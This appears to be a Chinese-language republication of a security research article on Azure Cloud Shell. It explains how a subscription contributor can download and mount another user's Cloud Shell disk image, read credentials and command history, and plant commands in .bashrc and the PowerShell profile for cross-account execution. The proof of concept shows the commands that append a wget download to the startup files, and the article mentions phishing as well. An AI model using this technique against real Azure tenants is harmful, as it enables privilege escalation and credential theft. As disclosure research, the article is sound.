Azure权限提升漏洞
2019-12-21 11:20:04 Author: www.4hou.com(查看原文) 阅读量:351 收藏

默认情况下,Azure订阅用户可以访问订阅中的所有存储账户。这些存储账户中包含的Azure Cloud Shell存储文件(Linux主目录)中可能会含有敏感信息。通过修改这些Cloud Shell文件,攻击者可以在其他用户的Cloud Shell会话中执行命令,这会导致跨账户的命令执行和权限提升。

简介

Azure Cloud Shell (Bash或PowerShell)是管理Azure资源的一种很方便的方式,但在渗透测试过程中也可能会成为敏感数据和权限提升的潜在源头。Azure Cloud Shell允许用户管理Azure中任意位置的资源。包括shell.azure.comAzure mobile app 和Microsoft Terminal application 。

为了保持登陆后的持续体验,Cloud Shell服务会将文件保持在订阅的Azure Storage存储账户中。Cloud Shell会用选择的存储账户来进行配置,真实的文件会在存储账户的File Share Service服务之下。如果使用的是Cloud Shell默认生成的存储账户,前缀应该是cs。

Cloud Shell文件可以做什么?

假设我们黑掉了一个有读写cloud shell File Shares权限的AzureAD账户。这类账户一般是订阅中的贡献账户,但也可能是对Storage Accounts账户有特殊贡献的用户。

默认情况下,所有的订阅账户都有读写Storage Accounts的权限,除非被额外限制了。

有了这些权限就可以从Cloud Shell目录中下载可用文件了,包括acc_ACCT.img文件。如果在相同Storage Account中,有多个用户的Cloud Shell实例,在Storage Account中就会有多个文件夹。攻击者可以选择想要攻击的账户(john),然后下载该账户的IMG文件。该文件一般大小是5G,所以下载需要1分钟。

该IMG文件是一个EXT2文件系统,所以可以在Linux系统上挂载该文件系统。挂载成功后,就会有2个路径。

信息泄露

如果Cloud Shell是真实使用的,那么操作该shell的用户就有机会在命令中制造一些错误。如果这些错误在Azure PowerShell cmdlet中,引发的错误日志就会在IMG文件系统的.Azure文件夹中。

NewAzVM cmdlet是有漏洞的,最终会为新虚拟机的本地管理员账户记录登陆凭证。在本例中,研究人员尝试创建一个名字不一致的虚拟机,这会导致记录一个明文密码。

PS Azure:\> grep -b5 -a5 Password .Azure/ErrorRecords/New-AzVM_2019-10-18-T21-39-25-103.log
103341-      }
103349-    },
103356-    "osProfile": {
103375-      "computerName": "asdfghjkllkjhgfdasqweryuioasdgkjalsdfjksasdf",
103445-      "adminUsername": "netspi",
103478:      "adminPassword": "Cleartext?",
103515-      "windowsConfiguration": {}
103548-    },
103555-    "networkProfile": {
103579-      "networkInterfaces": [
103608-        {

进一步分析Cloud Shell IMG文件,查看Azure/ErrorRecords文件中的敏感信息,会发现一些有用的东西。

此外,命令历史文件中也可能会有一些有意义的信息:

.bash_history

.local/share/powershell/PSReadLine/ConsoleHost_history.txt

跨账户命令执行

假设我们黑掉了Bob的账户,而Bob是订阅中的贡献者,与Alice的账户贡献订阅内容。Alice是订阅的所有者,也是Azure租户的全局管理员。Alice是Cloud Shell用户,而且在Bob工作的订阅上有一个实例。

因为bob是订阅的贡献者,因此有权限下载任意的cloud shell .IMG文件,包括Alice的acc_alice.img。一旦下载成功,Bob就可以在Linux上上挂载该IMG文件,并将要运行的命令添加到以下2个文件中:

.bashrc
/home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

研究人员下载了MicroBurst 到Cloud Shell作为POC的证明:

$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> .bashrc
$ echo 'wget https://github.com/NetSPI/MicroBurst/archive/master.zip' >> /home/alice/.config/PowerShell/Microsoft.PowerShell_profile.ps1

Bob将攻击命令添加后,解挂载了IMG文件,然后上传到Azure Storage Account账户中。在上传文件时,确保勾选了覆盖已经存在的文件框。

上传完成后,Cloud Shell环境就可以用于攻击了。Alice账户启动的下一个Cloud Shell实例会在Alice账户环境下运行添加的命令。

在Azure Linux虚拟机上挂载该文件也可以完成同样的攻击。

实例POC

将这两个文件都修改为echo hello world。通过修改.bashrc和PowerShell Profile文件,要确保命令会在与Cloud Shell类型无关的情况下运行。

研究人员建议用户查看Cloud Shell目录的.azure/azureProfile.json文件。如果目标用户没有使用Cloud Shell,到https://shell.azure.com/ 的钓鱼邮件也可以让用户初始化一个Cloud Shell会话。


文章来源: https://www.4hou.com/vulnerable/22072.html
如有侵权请联系:admin#unsafe.sh